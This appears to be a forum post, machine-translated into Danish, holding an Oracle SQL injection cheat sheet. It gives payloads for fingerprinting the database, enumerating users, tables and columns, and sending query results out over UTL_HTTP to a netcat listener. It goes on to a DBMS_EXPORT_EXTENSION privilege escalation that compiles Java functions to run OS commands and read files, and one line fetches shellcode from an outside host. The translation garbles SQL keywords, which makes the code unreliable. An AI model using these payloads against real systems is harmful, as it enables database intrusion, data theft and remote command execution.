Dette indlæg blev sidst redigeret af test den 24-1-2015 kl. 13:01
Kommentar: -- Udførelse af flere sætninger understøttes ikke, og fødererede forespørgsler understøttes Databasenavne, tabelnavne og kolonnenavne er alle skrevet med store bogstaver.
længde(felt) ascii(substr(felt, N, 1))
og (vælg tælling(*) fra dual)>0 -- Bestem om det er orakel eller ej
Orden efter n--
og 1=2 union vælg null, null,.....,null fra dual-- erstat null med N eller 'N'
og 1=2 union select null, (sql-sætning) ,.....,null fra dual -- skift til (sql-sætning) ved 'N'
og (vælg antal(*) fra all_objects hvor object_name='UTL_HTTP')>0 -- Bestem om UTL_HTTP understøttes (eksport-IP'en er kendt)
og UTL_HTTP.request('http://LocalIP:port'|| (SQL-sætning)) =1-- Send beskeder fjernstyret til lokal, lokal lytning nc -vv -l -p 1234
SQL-udsagn Vælg banner fra sys.v_$version, hvor rownum=1 for at forespørge orakelversionen vælg medlem fra v$logfile hvor rownum=1 Forespørg logfilens sti (Windows eller Linux) vælg utl_inaddr.get_host_address fra dual for at forespørge database-lytte-IP'en Vælg instance_name fra v$instance for at forespørge sid'en Vælg navn fra v$database Forespørg det aktuelle databasenavn Vælg sys_context ('Userenv', 'current_user') fra Dual Query Database Users Vælg * fra session_roles hvor rownum=1 for at forespørge de aktuelle brugerrettigheder Vælg * fra session_roles hvor rownum=1 [og rolle<>'første tilladelsesnavn']
vælg table_name fra user_tables hvor rownum=1 Det første tabelsegment i den aktuelle database vælg table_name||','|| tablespace_name fra user_tables hvor rownum=1 Første tabelsegment, database (til verifikation er det måske ikke v$database) vælg table_name fra user_tables hvor rownum=1 og table_name<>'første tabelsegment' Det andet tabelsegment i den aktuelle database
vælg column_name fra user_tab_columns hvor rownum=1 og table_name='Table Segment' Det første felt, der svarer til tabelnavnet vælg column_name fra user_tab_columns hvor rownum=1 og table_name='Tabelsegment' og column_name<>'Første felt' Det andet felt, der svarer til tabelnavnet
Vælg felt fra tabelsegmentet, hvor rownum=1 overtræder indholdet på første linje Vælg felt fra tabelsegment, hvor rownum=1 og felt <> 'første linje indhold' eksponerer andet linjeindhold.
Tværbibliotek Vælg ejer fra all_tables hvor rownum=1 forespørger det første databasenavn vælg ejer fra all_tables hvor rownum=1 og ejer<> 'Første databasenavn' for at forespørge det andet databasenavn
vælg table_name fra all_tables hvor rownum=1 og owner='databasenavn' Forespørg i den første tabels navn på den tilsvarende database Vælg table_name fra all_tables hvor rownum=1 og ejer='databasenavn' og table_name<>'første tabelnavn' for at forespørge det andet tabelnavn i den tilsvarende database
vælg column_name fra all_tab_columns hvor rownum=1 og owner='databasenavn' og table_name='table segment' Det første felt, der svarer til tabelnavnet Vælg column_name fra all_tab_columns hvor rownum=1 og ejer='databasenavn' og table_name='tabelsegment' og column_name<>'første felt' Det andet felt, der svarer til tabelnavnet
Vælg felt fra databasen. tabelsegment, hvor rownum=1 overtræder indholdet af den første linje Vælg felt fra databasen. Tabelsegmentet, hvor rownum=1 og feltet <> 'First Line Content' overtræder indholdet i anden række
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); flersætnings-SLUT; --','SYS',0,'1',0)--
Hvis 'is escaped, bruges chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Hvis flere sætninger er for lange, kan du skrive erklæringen til hjemmesidens fil og bruge utl_http.request til at hente den.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Opret en JAVA-pakke SecTest runCMD bruges til at udføre systemkommandoer og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT'' ERKLÆRER PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', opret eller erstat og kompiler java-kilde kaldet "SecTest" som import java.io.*; offentlig klasse SecTest udvider Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Streng stemp,str=""; mens((stemp=minLæser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Undtagelse e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
readFile bruges til at læse filen og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT'' ERKLÆRER PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', opret eller erstat og kompiler java-kilde kaldet "SecTest" som import java.io.*; offentlig klasse SecTest udvider Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); Streng stemp,str=""; mens((stemp=minLæser.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Undtagelse e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
Giv Java-tilladelser og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''' start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE FILER>>'''''''',''''''''udføre''''''''); slut; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
Opret en funktion SecRunCMD-funktionen og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', oprette eller erstatte funktionen SecRunCMD(p_cmd i varchar2) returner varchar2 som sprog java name''''''''SecTest.runCMD(java.lang.String) returner String'''''''' ; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
SecReadFile-funktionen og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE ''''', oprette eller erstat-funktion SecReadFile(filnavn i varchar2) returnere varchar2 som sprogets java-navn''''''''SecTest.readFile(java.lang.String) returnere String' '''''''; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
Giv tilladelse til at udføre den offentlige funktion SecRunCMD får tilladelser og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START UDFØR ØJEBLIKKELIGT ''''overlad alt på SecRunCMD til offentligheden''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
SecReadFile og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE ØJEBLIKKELIGT ''''overdrage alt på SecReadFile til offentligheden''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)--
Detekterer, om funktionen blev oprettet med succes og (vælg antal(*) fra all_objects hvor object_name='SECRUNCMD')>0-- og (vælg antal(*) fra all_objects hvor object_name='SECREADFILE')>0--
Udfør kommandoen og '1'<>(vælg system. SecRunCMD('Execute command') fra dual)-- og '1'<>(vælg system. SecReadFile('fil fysisk adresse') fra dual)-- eller og 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null fra dual-- og 1=2 union select null,...,sys. SecReadFile('fil fysisk adresse'),...,null fra dual-- eller og '1'<>(vælg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Udfør kommando'),' ',' '),'\n',' ')) fra dual)-- og '1'<>(vælg UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) fra dual)--
Slet-funktion og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE '''''drop function SecRunCMD''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)-- og '1'<>'a'|| (vælg SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT'". PUT(:P 1); UDFØR ØJEBLIKKELIGT ''PROKLAMÉR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN AT UDFØRE ØJEBLIKKELIG '''''drop-funktion SecReadFile''''; SLUT; ''; SLUT; --','SYS',0,'1',0) fra dual)-- |